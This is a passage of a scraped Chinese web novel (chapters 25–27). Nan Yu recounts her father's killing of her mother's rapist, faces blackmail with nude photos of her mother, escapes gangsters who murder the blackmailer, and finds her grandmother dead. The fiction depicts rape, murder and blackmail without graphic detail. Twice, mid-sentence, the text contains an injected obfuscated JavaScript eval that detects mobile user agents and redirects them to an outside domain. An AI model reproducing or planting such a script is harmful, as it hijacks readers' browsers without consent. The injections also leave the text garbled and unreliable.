南鱼眼睛红红的,男人得意的眼神落在她的眼中,南鱼再也忍不住,挥拳朝他。 “南鱼!不可以!”程遇把书包往地上一丢,跑过去拦住南鱼的拳头。 “不行,南鱼,你不能打他!你打他就中计了。”程遇用尽浑身力气把南鱼拉开,从身后抱住她。 南鱼用力挣扎,“你放开我!我要杀了他!我要杀了他!” “你冷静一点!”程遇抱住她,安抚她,“你冷静一点,南鱼,你想想奶奶,想想奶奶!” 程遇的话唤回南鱼的一点理智,她渐渐地平静下来,眼睛仍旧死死地盯着孙承坚。 孙承坚被程遇推开,他踉跄了几步,站稳身子,他笑得下流卑鄙,“怎么了?还是不敢下手对吧?我就知道你不敢下手,毕竟你下手了,可就是承认了你骨子里也带了杀人犯会杀人的基因呢!” 孙承坚的话再次刺激到南鱼,她的呼吸又开始不平静起来。 程遇在她旁边,手轻压在她的肩膀上,试图抚平南鱼情绪。 “杀人犯杀人或许有不得已的理由,但我看你,是真该死!”程遇眼神锐利,透着寒光。 孙承坚斜眼打量程遇,他舔舔嘴唇,□□地笑:“哟!真不愧跟你那个骚货妈一样,这就勾引到了一个男的护着你了,你这是使了什么手段,都这个时候了,还跟你站在一起,难道是床上功夫了得?” 他的话猥琐下流,程遇眉头一拧,眼中带着厌恶的情绪。 南鱼微弓着背,手握紧拳头,一副战斗姿态,红着眼就要冲上去,“我杀了你!” 程遇竭力控制着她,“南鱼,我们先走。” 程遇拖着南鱼,从地上捡起两人的书包离开了这里。 孙承坚往地上吐了一口痰,双手插兜哼着小曲扬着头也出了巷子。 程遇带着南鱼到一处偏僻无人的树林旁。 南鱼双手环着腿坐在一块石头上看着不远处的树发呆,程遇将两个人的书包放到一旁陪着她坐了下来。 四月的天,风温柔了不少,吹在脸上像母亲的手抚摸脸颊,十分温暖。 不过这片温暖并没有抵达南鱼心里,她的心在此刻十分冰凉。 程遇心疼地看着身旁的女生,她的身体还有些颤抖。 “没事了,南鱼,没事了。”程遇轻轻的摸了摸南鱼的头发。 他柔声安慰着,南鱼的情绪慢慢地缓和下来。 “能告诉我么?” 当初发生了什么事情。 南鱼沉默了,程遇也不着急,静静地等待着她彻底向他敞开心扉。 许久,她终于艰涩的开口。 事情还要从最开始的那场洪水说起,南鱼家原来不是在这个小镇,是在距离七十公里以外的另一个村子里。 村子的名字叫蒲柳村,这个村子的名字奶奶曾经在南鱼耳边说了无数次,她说那块土地才是他们的根,让南鱼永远不要忘记。 蒲柳村在一九九四年的时候发了一场大洪水,那场大洪水把村里所有的房屋冲倒,田地淹没,许多人都死在了那场大洪水中,南鱼的爷爷也在那场洪水中去世了。 当时政府安排这些受灾的人迁徙到附近其他地方,在洪水中南鱼的爸爸南玉山救下了当时在蒲柳镇探亲的孙福,孙福为了报答恩情,说让他们迁到山内镇来。 南玉山他们当时无处可去,也没有什么亲戚在外地,和南鱼奶奶商量后就同意了。 初始他们迁来的时候,孙福又出钱又出力地给他们安排宅基地盖房子,南玉山他们当时都很感激他,他们以为遇到了一个很好的人。 后来,宅基地盖好了,南玉山他们在这里安了家,因着他们的关系,两家也经常走动。 南玉山来山内镇找的是工地上的活儿,工地工资稍微高点,能攒到钱。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325692|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一有一点不好的地方是,他需要跟着工队到处跑,十天半个月的都不在家。 家里只剩下南鱼奶奶和妈妈两个人,南鱼妈妈赵芳英身体不是很好,所以没有工作。她在山内镇也不认识什么人,经常闭门不出。 孙福知道后,经常让他的媳妇儿万彩杏来找她,邀请她去家里一起说话,赵芳英对他们从来不设防。 直到那一天,万彩杏把她叫到家里后说有事要出去一趟,让赵芳英先在家里坐会儿,赵芳英拿着绣活边做边等她。 万彩杏没等到,等到了喝了点酒的孙福。 万彩杏走了没多久,孙福就踉跄着步伐推门走了进来,赵芳英见他喝了点酒,关切的给他搬凳子倒水。 她倒水的时候,孙福从她身后抱住了她,赵芳英吓了一跳,努力挣扎,但一个女人尤其是体弱的女人是很难挣开一个男人的,最后赵芳英被侵犯了。 她哭着跑回家,这件事很快就被南玉山知道了,他丢下还没完成的工作跑回家为赵芳英讨公道,刚开始孙福还低头哈腰的道歉,到最后他撕去伪装倨傲的对他们说,他那天就是故意侵犯赵芳英的,赵芳英长得那么漂亮,哪个男人看了都把持不住。 南玉山愤怒地去报警,但因为没有证据,再加上孙福对外一直是好形象,没有人相信他们,甚至有些人开始说是赵芳英在南玉山外出打工时耐不住寂寞,蓄意勾引孙福。 赵芳英气得一病不起,这个时候,她检查出来已经怀孕了三个月。因为情绪不好吃不下饭,她几乎瘦成了皮包骨头。 南玉山没办法为妻子自证很痛苦,但因为妻子怀孕需要更多营养,他只能先出去打工,让南鱼奶奶照顾她。 他本来想的是,自己再挣一些钱就带着她们搬离这里,但没想到,他这一走,孙福在某一天又趁着夜黑风高的时候摸到了赵芳英的屋子里。 南鱼奶奶当时已经睡下,赵芳英被他捂着嘴挣扎着,南玉山那天刚好有事回来,看到这样的场景他拎起旁边的锄头就敲了下去。 孙福倒在地上,南鱼奶奶听到动静出来看,惊恐地捂着自己嘴巴。 南玉山倒是冷静下来,他探了探孙福的鼻子,还有微弱的气息,想到这些天的屈辱,南玉山不顾阻拦拖着他到了门外,对着他的头又来了一锄头,孙福彻底没气了。 孙福死后,南玉山把他的尸体丢到了他家里,冷静地去警局自首。 孙福的尸体被家里人发现,他们一家哭着喊着要南玉山抵命。 证据确凿,再加上南玉山自首,他被判处了死刑,在南鱼刚出生一个月的时候死刑就执行了,他没来得及见南鱼一面。 他死后没多久,赵芳英也跟着他去了。 这件事情还是很早的时候奶奶告诉南鱼的,当时南鱼年纪还小,有一些年龄大的孩子欺负她,指着她骂杀人犯的女儿,说她家人都不要脸,说她应该去死。 南鱼和他们打了一架,回家后,她哭着问奶奶,问她的爸爸是坏人么? 奶奶抹着泪把这件事情从头到尾的给她讲了一遍。 奶奶抱着她,摸着她的头发说她的爸爸不是坏人,她的爸爸很爱很爱她。 临执行死刑前,奶奶本来想抱着南鱼让南玉山看看,但南玉山说,他一个将死之人,身上还带着杀戮,怕冲撞到了南鱼,对南鱼不好,于是拒绝了奶奶。 赵芳英刚查出来怀孕的时候,南玉山不知道有多高兴,他去挣钱,也是想要给南鱼一个更好的生活。 可是没想到会发生这种事情。 南鱼声音有些哽咽,“我爸爸不是坏人,他真的不是坏人,他没有忘恩负义,可是为什么,为什么大家都在说是我们的错。” 本来这么多年已经过去了,几乎很少有人在提这件事情,可是为什么突然又成了现在这种情况。 这件事情是奶奶一辈子的心结,她真的很害怕这些流言蜚语再次伤害到她。 程遇将她拥入怀中,感受着她瘦削的肩膀在他怀中不停颤抖,她的泪落了下来,在他的肩上,像是一根根细密的针,刺痛了程遇的心。 此时的他,根本说不出来任何话去安慰她,因为所有言语在真正的苦难面前都是苍白的。 程遇的手按在她的后背,想要给予她最大的力量。 南鱼默不作声地哭了很久,她从程遇的肩膀上抬起头,眼睛红肿,声音嘶哑,“我要回家了,奶奶还在家。” “我陪你。”程遇起身拎上两人的书包,牵着南鱼的手往家走。 到了家门口,南鱼开了锁,她手扶在门把上,回头看程遇,“你先回去吧。” 程遇“嗯”了一声,将她的书包递给她。 南鱼垂着头,她推门进了院子,就在关门的那一刻,程遇叫了她一声。 南鱼抬头看向他,程遇站在夕阳里,他的神情温柔又认真。 “我刚才想了下你问的问题,其实我也没有答案,可能因为人性如此,他们不会去追求更深层次的原因,只相信那些浮于表面的事实,不过南鱼,那是他们的问题。” “公道自在人心,打破黑暗的路很难,但我会一直陪着你,不管别人怎么看你,你在我这里,永远是最好的。” 26. 第 26 章 事情发酵的更厉害了,南鱼家门口被人泼了鸡血,为了照顾奶奶情绪,南鱼不再去学校了。 她陪着奶奶在屋子里看戏,电视机咿咿呀呀的声音放的很大,小小的房门隔出了一片天地,奶奶完全不知道门外的动静。 为了不让她担心,南鱼谎称自己身体有些不舒服需要在家休息几天。 南鱼坐在奶奶身旁,给她削着苹果,身旁的老人认真的看戏,乐滋滋地沉浸在电视里。 南鱼削好苹果递给她,奶奶接过想要塞到南鱼嘴里,笑眯眯地说:“芳英先吃!” 南鱼愣了一下,又笑着推了回去,从桌子上又拿起一个,“我再削一个,你先吃吧。” 奶奶这才咬了一口,苹果口感软绵,正是老太太喜欢的。 南鱼盯着她看了一会儿,又低下头削另一个苹果。 奶奶把南鱼认成她的妈妈这种情况最近出现了很多次,南鱼从开始的难过最后已经习惯了。 她的情况现在还不太严重,一会儿就能缓过来。 正削着苹果,大门口又传来一阵噼里啪啦的声音。 奶奶扭头要去看,南鱼把水果刀和苹果放下来拦住她。 “小鱼儿,外面是不是有人敲门?” “我去看看。” 南鱼起身,开了房屋门出去,转身又给关上。 大门口有人放了鞭炮,鞭炮扔在了大门上,上面留下了一道道白色的炮灰。 南鱼往四周看了看,没有人,看来是搞完破坏后就离开了,她冷着脸拿了块破毛巾沾了水把门上的痕迹擦掉,又把门口的鞭炮纸屑打扫干净。 准备回院子时,刘铁挡住了即将关上的门。 南鱼见到他,把门敞开,刘铁顺势进到院子里。 “南鱼,你为什么不愿意见我?”刘铁皱着眉头,一脸担忧。 “我现在谁都不想见,”南鱼别开脸,“你赶紧出去。” “你不能这样把自己封闭起来,上一辈的事情都过去了,你没有任何错。” “你们相信我没错,可是大家相信么?”南鱼深呼一口气,“我现在什么也不想考虑,请你出去,我不想惊动奶奶。” 刘铁眉头皱得更深了,南鱼用力把他往外推,“以后别来了,不要跟我扯上关系。” “砰”地一下门被关上,刘铁站在门外,他握紧拳,对着里面的人说:“你等着,我会帮你。” 刘铁的声音消失在门外,南鱼顿时感觉有些疲惫,她拖着步子回到房间。 电视已经关了,奶奶坐在沙发上低头看着一张照片。 南鱼走过去坐到她的身边,低头看到那张照片是一张合照,合照上她的爷爷、爸爸、妈妈,以及奶奶,爷爷和奶奶在凳子上坐着,她的爸爸妈妈站在他们身后一起笑着看向镜头。 奶奶眉眼慈祥,她用手指轻轻抚摸着照片上的那层镀膜,“都过去这么久了,也不知道他们在那边过得好不好。” 南鱼挽着奶奶胳膊,头靠在她的身上,“会很好的。” 他们都是那么善良的人,如果有另一个世界的话,他们在那边一定会过得很好。 奶奶一只手把照片抱在怀里,一只手去摸南鱼的头,她叹了口气,眼眶湿润,“我的小鱼儿受苦了。” 最近的事情奶奶也不是什么都不知道,纵然南鱼把她保护的再好,她总能听到点风声。 自从赵芳英死后,奶奶扛起了养南鱼的责任,那段时间过得是真难啊,因为要赔偿孙福家,奶奶日夜不休地做活,背着南鱼最终一点一点地把她养大。 当初那么大一点儿追着她跑的小人儿啊,现在都已经开始独当一面了。 可惜现在她不中用了,一直拖累她的小鱼儿。 “奶奶,你说什么呢,我们现在就已经很好了,你再等等,再等等,我一定带你离开这里。”南鱼牵住奶奶的手轻轻地摩挲着。 她的手背布满皱纹,一看就是一双操劳过度的手。 “你知道你妈妈当初为什么会给你起南鱼这个名字么?”奶奶眯着眼,似乎陷入了回忆。 南鱼看着她摇头。 “你刚生下来的时候皱皱巴巴的,那么小的一个人在那哭,看着让人心都化了,”奶奶笑着拍了拍她的手,“那个时候,你爸爸还在监狱里,你妈妈强撑着身体去看他,你妈妈说她生了个女儿,问他女儿该起什么名字,你爸爸啊,当时没定下你的名字,只是跟你妈妈说,希望你以后活得自由一点。” “可能是因为他不自由吧,他就希望你自由一点,”奶奶说到这又深深地叹了口气,“你妈妈回来的路上就一直在想你名字,正好那个时候下了一场暴雨,回镇上公交车在路上坏了,因为离镇上不远,你妈妈是走路回来的,她在路上看到一条小河,河里的鱼啊都游啊游,游得自由自在的,让人看着喜欢,回来后,你妈妈就给你订下了南鱼这个名字。” “她给你起这个名字啊,就是希望你能自由自在的生活,在未来的某一天,能够凭着你自己的努力,游出这个小镇,去看看更大的世界,”奶奶看着南鱼,把她的碎发别在耳后,笑着说,“现在我们小鱼儿长大了,以后要多努力一些,游出这里,等你游出了这里,我们小鱼儿肯定会变得很幸福的。” 南鱼鼻头一酸,她认真地点头,“奶奶,我一定会带你离开这里的。” “好!好!”奶奶笑了笑,她抹了抹眼角的泪花,“奶奶累啦,要去歇会儿,你身体不舒服,也去床上躺会儿。” 南鱼点点头,扶着奶奶回了房间。 南鱼坐在客厅了很久,她打开手机,好几个人向她发了消息,她一个都没有回,只是静静地在那坐了很久。 临近中午,南鱼去厨房做午饭,饭做到一半,她听到院子里有东西落地的声音,她擦了擦手,去了院子。 院子里被丢了好几个石头,石头上绑着照片和一张纸,南鱼拿起来看,她的脑袋立马充血。 照片上面是一个女人赤.裸着身体,看起来照片时间久了,泛黄得厉害。 那女人正是南鱼的妈妈,赵芳英。 南鱼努力平复自己的情绪,她起身紧紧地攥着照片,把附带着的那张纸条打开。 纸条上面写着:如果不想让这些照片流露出去,带上银行卡和存折下午一点前到山脚下废弃的水泥厂。 南鱼胸膛剧烈起伏,她把手中的照片撕了个粉碎,拿火机全部烧掉。 她看了下时间,距离一点还有一个小时。南鱼沉着脸,回房间把存折和银行卡装上,想了想又拿了一把小刀放在身上。 临出门前,她轻手轻脚地推开奶奶的房门看了看,奶奶正在房内睡觉,她又把门关了起来。 南鱼出了门,以防万一,南鱼把大门又锁了起来。 出发去水泥厂前,南鱼给程遇发了条消息。发完后,她把手机静音放在兜里,戴上外套的帽子往水泥厂去。 水泥厂离镇子有一段距离,很偏僻的一个位置,因为经营不善,倒闭了有好多年。 南鱼赶到那里,因为长期没有人来,地面杂草丛生,斑驳的墙壁被枯萎的藤蔓缠上,处处透露着破败。 南鱼谨慎地在往里走,她不知道孙承坚会在里面布下什么陷阱,也不知道他是不是一个人。 走到仓库大门口,南鱼停住脚步,屏住呼吸静静地听着里面的动静。 “孙承坚,你这小子不会是骗我们的吧?”里面传来一道粗犷的男人声音。 随后,一道谄媚的声音响起,“元哥,我怎么会骗你,那个丫头肯定会带钱来的,我手里这些东西她肯定不会希望传出去。” “再有半个小时,如果她不来的话,我先把你一只手给剁了!” “您放心,您放心!” 南鱼眉头紧皱,听和孙承坚在一起的人说话不像是善茬,她独自一人进去的话不一定有胜算。 但是,如果她不进去,她妈妈的那些不堪入目的照片如果在镇上传播,那么,那个时候南鱼和奶奶该如何自处呢? “奇哥,你再去那丫头家看一眼,如果没来,直接破门。”孙承坚等得不耐烦了,被砍手的恐惧笼罩在他心里,他的心一直高高悬着。 “我凭什么听你的!”被点名那人似乎不愿意。 “阿奇,去吧。”最开始的那个粗矿男人发声。 那个叫阿奇的不情不愿地往门口去。 听到里面的脚步声,南鱼沉了沉眸,即便是现在不露面,这些人也会去破门,奶奶还在家,她不保证这些人能做到什么地步。 想到这,南鱼推门进去。 随着她推门,屋子扬起灰尘,长年废弃的工厂,里面空荡荡的,只有一些角落里堆放着破木板。 “孙承坚,把照片交出来。” 南鱼扫视了里面一圈,里面除了孙承坚还有三个人,看起来都很高大壮实,一脸凶相,带着煞气,一看就是在道上摸爬滚打过的不好惹的人物,南鱼估摸着自己没什么胜算,再加上他们手中都拿的有刀,她不敢轻举妄动。 “你把银行卡和存折交出来,我就把这些照片给你!”孙承坚举着照片在南鱼眼前晃了晃,猥琐的笑道,“你不想这些照片打印下来在镇上传播吧。” 南鱼手插着兜,握紧兜里的小刀,绷着张脸盯着他看,“我怎么知道你把这些照片是不是全部的底片?” “我孙承坚说话算话!只要你给银行卡和存折,我保证这是全部的底片!”孙承坚声音尖锐。 “行……我信你,”南鱼慢悠悠的把手从兜里伸出来,似乎真的再拿存折。 孙承坚盯着她的手,一脸期待。 南鱼的动作停了下来,孙承坚一脸愠怒,“你什么意思?” 南鱼冷静地瞥他,“你先给我底片。” “不行!”孙承坚立马拒绝。 “那很抱歉,我不能给你银行卡和存折,我一个女生,谁知道你们会不会骗我。”南鱼冷笑一声。 孙承坚看看旁边的男人,一咬牙,“行!我先把底片给你!” 孙承坚把手中的所有底片装到一个袋子里扔到南鱼脚底下,南鱼弯腰去捡,忽地一只手朝她伸了过来,南鱼捡起底片往旁边一侧,那只手抓了个空。 南鱼稳住身子,眼神凌厉。 孙承坚丝毫没有偷袭的心虚,他朝南鱼抬了抬下巴,“底片你拿到了,把银行卡存折还有密码都给我。” 南鱼冷笑一声,“我说我要给你了么?” 孙承坚大怒,“你什么意思?” 南鱼看向他身边叼着烟踩着一块废木板穿着西装的光头,平静地说:“你向我要的这些钱是要给这个大哥对吧,既然如此,我直接把银行卡和存折给他就行了,何必要经过你的手?谁知道你会不会私吞呢?” “你!”孙承坚涨得满脸通红,他指着南鱼,有些说不出来话。 那个光头眯了眯眼看南鱼,把烟夹在指尖弹了弹烟灰,轻笑一声,“有点儿意思。” 能在短期内看清楚形势,挑拨离间他们的关系,倒是个聪明人。 “元哥!你别听她胡说!我可从来没想过私吞!”孙承坚连忙解释。 那个叫元哥的轻飘飘地看了他一眼,毫不留情地把烟头摁在他的手背上,“这个丫头倒是提醒我了,万一呢?” 烟头带火,孙承坚的手背被灼伤,疼得他哇哇大叫。 南鱼在一旁看着,心跳加快。 她是看出来了,元哥是在给她警告,如果她敢欺骗他们,下场估计比孙承坚还要惨。 这可能是一帮亡命之徒,南鱼不敢轻视。 烟头挪开,孙承坚已经满头大汗,他捂着手,狠狠地瞪着南鱼,像是要把她撕碎一样。 “东西拿来吧。”元哥看向南鱼,又摸出来一根烟点上。 南鱼点了点头,她一手捏着兜里的刀,一手捏着存折和银行卡缓步向后退。 元哥攥着烟,他身旁的两个壮汉死死地盯着南鱼,只要南鱼有了逃跑的动作他们立马上前。 往后退了没几步,南鱼把银行卡和存折掏了出来,对着孙承坚丢了过去,“孙承坚!接着!密码我写在银行卡卡背上。” 南鱼叫了他名字,孙承坚下意识地去接,银行卡和存折落在他面前,想到刚才自己被元哥这么,的惨状,他脑子一热捡起来钱就跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330111|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 元哥他们三个显然没有料到这种情况,他们对视一眼,其中两个人去追孙承坚。 南鱼趁乱跑出仓库,孙承坚很快被那两个男人抓住按在地上。 “孙承坚,你长本事了啊!竟然真的抢钱!”元哥穿着皮鞋的脚踩在他脸上。 孙承坚求饶,说自己是一时糊涂。 元哥阴沉着张脸,掰开他的手把银行卡和存折拿到手里,对着其中一个人做了抹脖子的动作,男人会意,拎起刀利落地结束了他,孙承坚在地上很快没有了动静。 元哥带着那两个男人去追南鱼,南鱼拼了命地往镇上跑。 他们开的有车,很快就要追上南鱼,开车的那人一脚踩下油门,朝着南鱼撞过去。 南鱼往旁边一闪,滚落到沟里。 沟里都是碎石,她的头从石头上滚过,南鱼只觉得头顶一热,鲜血顺着脸颊流了下来。 浑身都是疼的,南鱼强忍着不适站起来接着跑,那几个男人从车上下来,拿着刀朝她追过来。 南鱼一瘸一拐地往前跑,就在他们的距离越来越近时,一阵警笛声响起,有一辆警车朝着这边过来。 元哥咬了咬牙,看了眼警车,一挥手带着另外两人赶紧回到车里开车离开。 暂时脱离危险,南鱼松了口气。 警车停到路边,程遇和程伟建从车上下来,另一个开车的警察朝着那几个人追过去。 “南鱼!”程遇紧张地跑到南鱼身边,扶着她检查她身上的伤势,看到她脸上血流不止地伤口时,他眼尾红了起来,“走,我们去医院。” “先不去,”南鱼摇了摇头,她看着随后赶过来的程伟建说,“程伯,孙承坚他可能已经……他就在那个水泥厂里。” 程伟建一脸严肃,“我知道了,你不用管这些事儿了,先让小遇陪着你去医院。” 南鱼这才点了下头,程遇牵着她的手,一路沉着脸不说话。 到了医院,护士帮南鱼清理着伤口,程遇坐在一旁,神色冷峻地看着她。 头上的伤口有些深,清理地时候南鱼忍不住“嘶”了一声,程遇立马皱起眉头,握住了她的手。 伤口清理完毕,护士收拾工具离开了。 程遇抿起唇,眼眸深沉近墨。 “你怎么敢自己一个人去那里!多危险你知不知道!”他的声音中压抑着怒气。 “我知道,”南鱼垂着眼,表情漠然,“但是我必须要去。” “为什么?”程遇神色紧绷。 南鱼不知道该怎么跟他说,沉默起来。 许久,程遇叹了口气,他抬手扶着南鱼的背将她按入怀中,她的脚贴着他的胸膛,程遇喉结滚动了下,声音有些沙哑,“南鱼,以后别再这么冒险了,可以么?” 南鱼闭着眼睛在他怀中轻轻的点了下头,抓着他的衣服平复着自己的情绪。 没过一会儿,派出所的一个民警来病房找南鱼,说孙承坚的尸体在水泥厂找到了,现在已经运回了所里,他问南鱼现在身体怎么样,想让她去派出所做下笔录讲一下当时的情况。 南鱼同意了,她和程遇跟着民警去了派出所。 小镇发生了命案,这个消息传播得很快,派出所围了许多人。 见南鱼和民警一起从车上下来,人群里议论纷纷。 这时,一个满头白发苍老的女人朝着南鱼扑了过来,民警眼疾手快地拦住她。 南鱼冷冷地看过去,女人想要抓着警察的胳膊往前挤到南鱼面前,她哭得惨烈,“你还我儿子命来!你还我儿子的命啊!” “你爸杀了我男人还不够,你还要把我儿子给害死了!你们一家人都是什么人啊!为什么要这样对我啊!” 女人一声声哭诉着,她的控诉仿佛在平静水面上丢了一颗石子,瞬间周围人群炸开了。 “果然杀人犯的孩子也不是什么好东西。” “就是啊,真是祸害啊!” “早知道当初应该把他们赶出村子。” “……” 听到人群中的声音,南鱼呼吸沉重其他,她咬紧牙关,死死地盯着他们。 程遇握紧了她的手,往前一步冷眼看着这群无知浅薄的人。 “孙承坚不是南鱼害死的,这点警察可以作证,”程遇冷声道,“他还差点害了南鱼,他是罪有应得!” 听到程遇的话,女人更激动了,“你说什么!什么叫我儿子罪有应得!他就是被南鱼害死的,你休想包庇她!我儿子死之前还说要去找她!结果就没了,不是她害死的是谁害死的!” “孙承坚和什么人混在一起你自己清楚!”程遇脸色阴沉,他看着那女人,眸若寒冰。 女人气焰突然没了一大半,她抓不到南鱼,干脆一屁股坐在地上,拍着大腿哭,“我可怜的儿子啊!被人害了人家也不承认啊!你让我该怎么办啊!我该怎么活啊!” 耳朵里嗡嗡响,周围乱糟糟的声音挤入脑袋,她觉得头好痛。 南鱼紧抿着唇,呼吸发紧,她垂着眼,竭力压抑着翻滚的情绪。 民警和程遇护着南鱼,带着他进了大厅。 程伟建已经回来了,南鱼和程遇一起坐在椅子上,一个年轻的民警给他俩倒了杯水。 程伟建询问着南鱼当时的情形,在大家关切的目光下,南鱼缓缓地开口。 讲完后,大家都神色凝重。 程伟建叮嘱南鱼,“现在那几个犯罪分子还没有抓到,你这段时间小心点,我也会让人保护你。” 南鱼艰涩地点头,程遇手放在水杯上摩挲着,“程伯,那这件案子您能给大家澄清一下么,现在外面的人都觉得是南鱼害死的孙承坚。” 程伟建点头,“放心,我会替南鱼澄清的。” 程遇道了声谢,接下来的工作没有他们什么事儿,他带着南鱼准备离开。 还未起身,一道身影冲了进来。 南鱼看过去,刘德旋俯身双手撑在腿上喘着粗气。 “不好了……”刘德旋缓了一口气,他焦急地抬头看着南鱼,眼睛红红的,“不好了!南姐,你快回去吧!奶奶,奶奶她……没了。” 27. 第 27 章 “奶奶……她没了。” 最后两个字刘德旋几乎说不出口,他的脸上全是悲痛,他看着南鱼,眼泪几乎要落了下来。 轰的一声—— 南鱼觉得什么倒塌了,她大脑一片空白。 她呆呆地站在原地,好半天才反应过来,她问的艰难:“你说……什么?” “奶奶没了,她突发脑溢血,救护车来了说人已经没气了。”那么高的一个男生,说完突然哭得停不下来。 南鱼一片茫然,她站在那,只觉得自己的心被狠狠地揪了起来,抬高,再抬高,接着,猛地跌落。 心跳倏地停止了片刻,脑袋中绷紧的弦彻底断掉。 她沙哑着开口:“你骗人,奶奶……怎么会……怎么会没了呢?” “她怎么会……没了呢?” 回应她的只有刘德旋的哭声。 南鱼晃悠着身子出门,她步伐不稳,几乎要跌倒,程遇去扶她,她甩开他的手。 “奶奶,我要回去,一定是在骗我的,一定是,我走的时候还锁上了门,奶奶还在家睡觉呢。对!她一定是在睡觉。” 南鱼自言自语,跌跌撞撞地出门,出了门,她步伐加快,最后跑了起来。 她不相信,她才不相信奶奶没了。刘德旋最爱给她开玩笑了,这一定是个玩笑。 奶奶肯定是因为她下午出门没有和她说,所以才生气了,才让刘德旋来骗她。一定是这样的,肯定是这样的。 南鱼的泪顺着风落了下来,连她自己都没察觉到。 一滴,两滴,最后泪水模糊了双眼。 她跑到家门口,有好多人围成一圈堵在门口。 看到她过来,许多视线落在她的身上,有幸灾乐祸的,有同情的,有好奇的。 他们给她让了一条路,南鱼怔怔地走了进去。 奶奶躺在地上,像是睡着了一样。 南鱼不知道她是怎么走到奶奶身边的,她蹲了下来,手放在奶奶的脸上轻轻抚摸。 “奶奶,奶奶,我是小鱼儿啊,奶奶,你这是在干什么?你怎么躺到地上了?”南鱼想要扶着奶奶坐起来,但她的身体已经开始僵硬,南鱼怎么也扶不起来她。 “你不是最爱干净了么?你起来啊奶奶,地上好脏啊,你不要睡在地上好不好。”南鱼低着头,泪水滚落。 程遇追了过来,快速奔跑让他脸色苍白,心口也不舒服。 但他顾不上这些,他走到南鱼身旁,蹲了下来。 他轻轻地叫她,“南鱼。” 南鱼抬起头,一张白净的脸上全是泪水,她的泪水好多啊,怎么也控制不住地往下流。 “程遇,奶奶……奶奶她…不理我。”南鱼不停地抽泣,她几乎快要背过去气。 “没事的,南鱼,没事的。”程遇心疼地把她脸上的泪擦掉,她的眼泪落在他的掌心,一片湿润,正如他现在的心,浸在水中。 刘铁听到消息也赶了过来,他沉默地在院子里站了一会儿,叫了镇上办丧事儿的人去抬奶奶的尸体。 奶奶被人抬到一张床上用白布盖着身体,南鱼低头看着她,整个人像是失了魂一样,也不哭,也不说话了。 她紧紧抓住奶奶的手,那双手像枯死的树皮一样皱巴巴的。 就是这双手,在今天早上还摸了南鱼的头。 恍惚间,南鱼仿佛还听到奶奶对她说,小鱼儿啊,一定要努力地游啊,游出这里,游出这座山。 可是奶奶,如果没有你,我游出这座大山又有什么意义呢? 南鱼守在奶奶身边了一天一夜,时间像是停滞了一样,她不觉得渴,也不觉得饿。 前来吊唁的只有和南鱼交好的几个朋友,每一个人无一例外的劝南鱼不要太伤心。 可是怎么能不伤心呢?那是和她相依为命的奶奶,是艰难地把她从小抚养到大的奶奶。 十七年了,她还没来得及报答奶奶呢。 程遇拿了一瓶牛奶在她身边坐了下来,拧开瓶子递给她,“你不能不吃东西,奶奶明天才能下葬,你要照顾好自己身体。” 南鱼抬起头,眼睛红红的,她看着他,轻声说:“你知道么,程遇,奶奶房间的窗户小,天稍微暗一点里面就黑了,那天她找东西不舍得开灯,我说要给她盖大平层呢,她还没住上我给她盖的大平层呢,她这一辈子就住在了自己盖的房子里。” 她的声音压抑,程遇抬抬手放在她的肩上,呼吸间心都是痛的。 翌日奶奶下葬,南鱼说老太太这辈子都没风光过,就让她风光一次吧。 她买了最好的实木棺材,请了好几家吹唢呐的。 在一阵阵唢呐声中,南鱼看着奶奶的尸体被抬进棺材。 她把奶奶所有喜欢的衣服都放在了棺材中,她木然地看着棺材被人用钉子钉上封棺,直到最后一个钉子钉上,她忽然觉得自己呼吸不过来了,有一种情感从她的心中剥离出来,她怎么也抓不住。 奶奶的坟墓在妈妈的旁边,是在荒野外,下了葬,南鱼站在墓前了好久。 她看着面前两个小小的坟包,觉得自己像是在做梦一样。 好像梦醒过后,奶奶就会笑着出现,招呼她吃饭。 一阵风吹过,南鱼的眼睛酸疼得厉害,这两天她看着奶奶的尸体,不知道怎么回事,她哭不出来了。 南鱼转身看着这几天一直陪在她身边的程遇和刘铁,张口的声音是她自己都认不出来的沙哑,“我们回去吧,让奶奶在这里好好睡一觉。” 老太太忙活大半辈子也没能享福,这次她终于可以休息了。 刘铁和程遇一左一右地陪着她回家,走在山内镇上的大街,有几个刚才看热闹的女人这会儿正围在一起磕着瓜子说话,许慧巧也在其中。 她看到南鱼,故意抬高声音,尖酸刻薄地说:“要我说啊!有的人就是死得好啊,早死就能少祸害人了!” 程遇皱眉,想要上去说什么,南鱼拦住他摇头,“走吧。” 有什么意义呢?去逞一时的口舌之快好没意思,奶奶都不在了。她好累,真的好累了。 回到家,南鱼坐在奶奶的房间,身体蜷缩在一起不说话。 刘德旋放学回来,他来找南鱼,南鱼抬头看他,语气平静地像一潭死水,“那天怎么回事?” 刘德旋把书包丢在地上当坐垫,叹了声气给南鱼讲了当天的事情。 那天,刘德旋看到程遇着急离开学校就猜到是和南鱼的事情有关,他跟着跑了过去问,程遇说南鱼给他发了一条消息让他去报警,说南鱼可能遇到了什么危险的事情。 刘德旋担心她,就和程遇一起翻墙离开了学校。 出了校门,他们一起到了派出所,找到孙伟建,把南鱼的信息给他说了一下,孙伟建当即决定出警。 程遇跟着上了警车,刘德旋突然想起奶奶,他决定先去看看奶奶。 